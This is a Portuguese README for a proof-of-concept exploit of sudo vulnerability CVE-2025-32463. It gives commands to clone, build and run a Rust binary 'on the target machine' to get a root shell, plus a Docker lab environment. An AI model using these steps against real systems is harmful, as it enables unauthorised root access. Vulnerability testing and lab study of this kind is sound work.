CVE-2025-32463 PoC de Exploração de EoP no Sudo (Rust)

Usando Binário Pré-construído

1. Clone o repositório e execute o binário na máquina alvo.

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

Compilar a partir do Código Fonte

1. Clone o repositório (se ainda não o fez)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. Compile o binário Rust em modo de release

cargo build --release

O binário compilado estará localizado em:

./target/release/CVE-2025-32463-Chwoot-POC

Uso

Execute o binário de exploração com argumentos de comando opcionais:

• Para obter um shell root interativo:

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• Para executar um comando específico como root (por exemplo, id):

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

Uso com Docker

Alternativamente, utilize o contêiner Docker fornecido para um ambiente vulnerável isolado com todas as dependências instaladas.

1. Construa a imagem Docker

docker build -t sudo-chwoot .

2. Execute o contêiner interativamente (se não funcionar, tente usar o ID da imagem em vez de sudo-chwoot. Você pode obter isso usando sudo docker images)

docker run --rm -it --privileged sudo-chwoot 

3. Dentro do contêiner, execute a exploração

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC